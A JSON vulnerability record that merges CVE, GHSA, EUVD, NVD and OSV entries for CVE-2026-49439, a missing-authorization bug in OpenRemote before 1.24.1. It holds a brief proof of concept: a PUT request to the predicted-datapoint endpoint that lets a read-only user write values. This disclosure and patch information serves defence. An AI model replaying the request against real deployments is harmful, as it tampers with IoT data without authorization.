{"id":"CVE-2026-49439","aliases":["EUVD-2026-76694","GHSA-xj53-j257-hxvg"],"status":"published","title":"OpenRemote read-only asset users can write predicted datapoints","description":"OpenRemote is an open-source internet-of-things platform. Prior to version 1.24.1, the predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints. Version 1.24.1 fixes the issue.","severity":{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00264,"percentile":0.18441,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-862"],"published":"2026-07-06T16:52:35Z","modified":"2026-10-28T10:55:28Z","fixes":[{"ecosystem":"Maven","package":"io.openremote:openremote-manager","fixed_in":["1.24.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"io.openremote:openremote-manager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.24.1"}]}]},{"source":"osv","ecosystem":"Maven","package":"io.openremote:openremote-manager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.24.1"}]}],"versions":["1.10.0","1.11.0","1.11.1","1.11.2","1.11.3","1.12.0","1.12.1","1.12.3","1.13.0","1.13.1","1.14.0","1.15.0","1.15.1","1.15.2","1.16.1","1.17.0","1.17.1","1.17.2","1.17.3","1.18.0","1.19.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.20.0","1.20.1","1.20.2","1.21.0","1.22.0","1.22.1","1.23.0","1.23.1","1.24.0","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.4.0","1.5.0","1.6.0","1.6.2","1.6.3","1.6.4","1.6.5","1.7.0","1.8.0","1.8.1","1.9.0"]}],"products":[{"vendor":"openremote","product":"openremote"}],"references":[{"url":"https://github.com/openremote/openremote/security/advisories/GHSA-xj53-j257-hxvg","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/openremote/openremote/commit/583dbbfb96076ba099be8729ddf506acf9e48325","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/advisories/GHSA-xj53-j257-hxvg"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49439.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49439","tags":["advisory"]},{"url":"https://github.com/openremote/openremote","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-49439","title":"OpenRemote read-only asset users can write predicted datapoints","description":"OpenRemote is an open-source internet-of-things platform. Prior to version 1.24.1, the predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints. Version 1.24.1 fixes the issue.","status":"published","published":"2026-09-11T20:44:13.314Z","modified":"2026-09-14T18:17:52.256Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T13:35:10.963527Z"}],"euvd":[{"id":"EUVD-2026-76694","description":"OpenRemote is an open-source internet-of-things platform. Prior to version 1.24.1, the predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints. Version 1.24.1 fixes the issue.","status":"published","published":"2026-09-11T20:44:13Z","modified":"2026-09-14T18:17:52Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T17:28:19.730872Z"}],"ghsa":[{"id":"GHSA-xj53-j257-hxvg","title":"OpenRemote read-only asset users can write predicted datapoints","description":"# Summary\n\nThe predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints.\n\nThe endpoint:\n\n```text\nPUT /api/{realm}/asset/predicted/{assetId}/{attributeName}\n```\n\naccepts write requests from users lacking `write:assets`.\n\nThe implementation appears to check `READ_ASSETS` while performing a write operation through:\n\n```java\nassetPredictedDatapointService.updateValues(...)\n```\n\n# PoC\n\nA user was created with only:\n\n```text\nread:assets\n```\n\nand without `write:assets`.\n\nThe following request succeeded:\n\n```http\nPUT /api/master/asset/predicted/4Fr8Pcp7iDjrEmoSUFolvT/temperature\n```\n\nRequest body:\n\n```json\n[{\"x\":1779199999001,\"y\":1337}]\n```\n\nResponse:\n\n```text\nHTTP/2 204\n```\n\nDatabase verification confirmed the datapoint was written successfully:\n\n```text\nentity_id: 4Fr8Pcp7iDjrEmoSUFolvT\nattribute_name: temperature\nvalue: 1337\n```\n\n# Impact\n\nUsers with read-only asset permissions can modify predicted datapoints for assets.","status":"published","published":"2026-07-06T16:52:35Z","modified":"2026-07-06T16:52:35Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:40:39.314643Z"}],"nvd":[{"id":"CVE-2026-49439","description":"OpenRemote is an open-source internet-of-things platform. Prior to version 1.24.1, the predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints. Version 1.24.1 fixes the issue.","status":"published","published":"2026-09-11T21:17:10.37Z","modified":"2026-09-23T17:17:44.217Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:12:46.62721Z"}],"osv":[{"id":"CVE-2026-49439","title":"OpenRemote read-only asset users can write predicted datapoints","description":"OpenRemote is an open-source internet-of-things platform. Prior to version 1.24.1, the predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints. Version 1.24.1 fixes the issue.","status":"published","published":"2026-09-11T20:44:13.314Z","modified":"2026-10-28T10:55:28.767636264Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:45:07.060148Z"},{"id":"GHSA-xj53-j257-hxvg","title":"OpenRemote read-only asset users can write predicted datapoints","description":"# Summary\n\nThe predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints.\n\nThe endpoint:\n\n```text\nPUT /api/{realm}/asset/predicted/{assetId}/{attributeName}\n```\n\naccepts write requests from users lacking `write:assets`.\n\nThe implementation appears to check `READ_ASSETS` while performing a write operation through:\n\n```java\nassetPredictedDatapointService.updateValues(...)\n```\n\n# PoC\n\nA user was created with only:\n\n```text\nread:assets\n```\n\nand without `write:assets`.\n\nThe following request succeeded:\n\n```http\nPUT /api/master/asset/predicted/4Fr8Pcp7iDjrEmoSUFolvT/temperature\n```\n\nRequest body:\n\n```json\n[{\"x\":1779199999001,\"y\":1337}]\n```\n\nResponse:\n\n```text\nHTTP/2 204\n```\n\nDatabase verification confirmed the datapoint was written successfully:\n\n```text\nentity_id: 4Fr8Pcp7iDjrEmoSUFolvT\nattribute_name: temperature\nvalue: 1337\n```\n\n# Impact\n\nUsers with read-only asset permissions can modify predicted datapoints for assets.","status":"published","published":"2026-07-06T16:52:35Z","modified":"2026-07-06T17:11:31.089802Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:47:00.198893Z"}]}}